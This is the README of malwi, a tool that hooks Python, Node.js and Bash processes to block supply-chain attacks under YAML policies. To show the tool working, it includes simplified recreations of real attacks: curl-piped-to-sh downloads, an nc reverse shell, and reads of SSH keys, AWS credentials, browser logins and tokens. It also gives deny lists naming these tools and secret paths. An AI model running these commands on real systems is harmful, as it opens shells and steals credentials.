Skip to content

canvascomputing/malwi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

192 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ‘Ή malwi - Detect Evil Code

malwi logo

Stop Supply-Chain Attacks in Node.js, Python, Bash

ComfyUI ComfyUI  ·  npm npm-install  ·  PyPI pip-install  ·  Bash bash-execution

Advanced cyberattacks threaten critical infrastructure, digital sovereignty, and the freedom of societies. Campaigns like the Shai-Hulud npm attacks (2025) demonstrated how simple it is to misuse the trust in open-source software. malwi hooks into any Node.js, Python, or Bash process to block unauthorized network calls, file access, and command execution at runtime. It injects a tracing agent into your existing runtime β€” no source changes or custom interpreters required.

Compatibility: Python 3.10-3.14 · Node.js 21-25 · Bash 4.4-5.3 · macOS arm64, arm64e (⚠️ SIP) and Linux arm64, x86_64

malwi demo

Installation

pip install --user malwi

Or download a prebuilt binary from the latest release.

Quick Start

malwi wraps any command β€” it injects a tracing agent into the process and enforces a policy on network calls, file access, commands, and function calls:

malwi x node -e "fetch('https://canvascomputing.org/api/data')"

malwi x python -c "import os; os.getenv('MISTRAL_API_KEY')"

malwi x bash -c 'cat ~/.ssh/id_rsa'

Policies

Write policies in YAML to control what runs inside a process. Each section targets a different attack surface β€” network, commands, files, environment variables, or runtime functions. Rules can allow, deny, warn, or prompt for review.

See POLICY.md for the full specification.

$ malwi x -p policy.yaml -- node app.js

Lock down outbound traffic to known hosts. The catch-all */** denies everything else; protocols restricts to HTTPS only.

network:
  allow: ["api.canvascomputing.org/**", "registry.npmjs.org/**"]
  deny: ["169.254.169.254/**", "*/**"]
  protocols: [https]

Block tools commonly used for reverse shells and data exfiltration. review pauses and prompts before allowing.

commands:
  allow: [node, git, npm]
  deny: [curl, wget, nc, ncat, ssh, crontab, base64]
  warn: [docker, pip]
  review: [sudo]

Protect credentials and private keys from being read by untrusted code.

files:
  deny: ["~/.ssh/**", "~/.aws/**", "*.pem", "*.key"]

Prevent secrets from being read out of the environment.

envvars:
  deny: ["*SECRET*", "*PASSWORD*", "AWS_*"]
  warn: ["*TOKEN*", "*API_KEY*"]

Control runtime-specific functions β€” block dangerous APIs, log the ones you want visibility into.

nodejs:
  deny: [eval, child_process.exec, child_process.execSync]
  log: [fetch, http.request, https.request]

python:
  deny: [ctypes.CDLL, os.system, os.popen]
  warn: [subprocess.run, subprocess.Popen.__init__]

symbols:
  deny: [getpass, crypt, dlopen, syscall]

Auto-policies

When malwi detects a known command, it automatically applies a tailored policy. The policy file is written to ~/.config/malwi/policies/ on first use β€” edit it to customise.

Upscaler-4K (Oct 2024) was a malicious custom node (779 installs) that downloaded a stealer binary to exfiltrate browser data and Discord tokens:

# simplified recreation of the Upscaler-4K attack
import urllib.request, os
urllib.request.urlopen("https://canvascomputing.org/payload")
os.system("./stealer --exfil")
open(os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data")).read()
os.getenv("DISCORD_TOKEN")

Running ComfyUI under malwi blocks every stage:

$ malwi x python main.py
[malwi] denied: urllib.request.urlopen(url='https://canvascomputing.org/payload', ...)  malicious_node.py:3
[malwi] denied: os.system(cmd='./stealer --exfil')  malicious_node.py:4
[malwi] denied: open('~/Library/Application Support/Google/Chrome/Default/Login Data', 'r')  malicious_node.py:5
[malwi] denied: DISCORD_TOKEN

warbeast2000 and kodiak2k (Jan 2024) were malicious npm packages that exfiltrated SSH keys from developers' machines via postinstall scripts:

// simplified recreation of an npm supply chain attack
const { exec } = require("child_process");
const fs = require("fs");
exec("curl canvascomputing.org/demo | sh");
fs.readFileSync(process.env.HOME + "/.ssh/id_rsa");

Running npm install under malwi catches the shell-out and file access:

$ malwi x npm install
[malwi] denied: curl canvascomputing.org/demo | sh
[malwi] denied: fs.readFileSync("~/.ssh/id_rsa")  postinstall.js:4

Ultralytics (Dec 2024) was a compromised ML library (68M+ downloads) that deployed a crypto miner and exfiltrated environment variables via setup.py:

# simplified recreation of a PyPI supply chain attack
import os
os.system("curl canvascomputing.org/demo | sh")
open(os.path.expanduser("~/.aws/credentials")).read()

Running pip install under malwi blocks the shell-out and credential access:

$ malwi x pip install malicious-package
[malwi] denied: os.system(cmd='curl canvascomputing.org/demo | sh')  setup.py:3
[malwi] denied: open('~/.aws/credentials', 'r')  setup.py:4

perfctl (2024) was a cryptomining malware that infected thousands of Linux servers via curl-piped bash scripts, establishing cron persistence and deploying rootkits:

# simplified recreation of a malicious install script
nc canvascomputing.org 4444 -e /bin/sh
crontab -l
cat ~/.ssh/id_rsa

Piping through malwi blocks every command:

$ curl -fsSL canvascomputing.org/install-demo.sh | malwi x bash
[malwi] denied: nc canvascomputing.org 4444 -e /bin/sh  install.sh:2
[malwi] denied: crontab -l  install.sh:3
[malwi] denied: cat ~/.ssh/id_rsa  install.sh:4

How It Works

malwi injects an agent library (DYLD_INSERT_LIBRARIES / LD_PRELOAD) into the target process. The agent hooks function calls across all runtimes and streams them to the CLI over TCP. The CLI evaluates each call against the policy and blocks, warns, or allows it. Tracing propagates to child processes.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ malwi CLI                            β”‚
β”‚  receive events β†’ policy β†’ verdict   β”‚
β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–²β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     β”‚ inject              β”‚ TCP
     β–Ό                     β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Target Process                       β”‚
β”‚  Agent hooks:                        β”‚
β”‚    Python Β· Node.js Β· Bash Β· Native  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

macOS System Integrity Protection (SIP)

macOS SIP prevents DYLD_INSERT_LIBRARIES from loading into binaries under certain paths. Security researchers may disable SIP at their own risk.

SIP Paths
βœ… malwi works here /usr/local, /opt, ~
⚠️ SIP-protected /System, /usr, /bin, /sbin, /var, /Applications

Security

To report a vulnerability, email security@canvascomputing.org. See SECURITY.md for details.

A full dependency listing is automatically regenerated on every build when Cargo.lock or package-lock.json change. See DEPENDENCIES.md.

Development

See DEVELOPMENT.md.

About

πŸ‘Ή Detect Evil Code - malwi intercepts Python, Node.js and Bash Code at Runtime

Topics

Resources

Security policy

Stars

Watchers

Forks

Packages

 
 
 

Contributors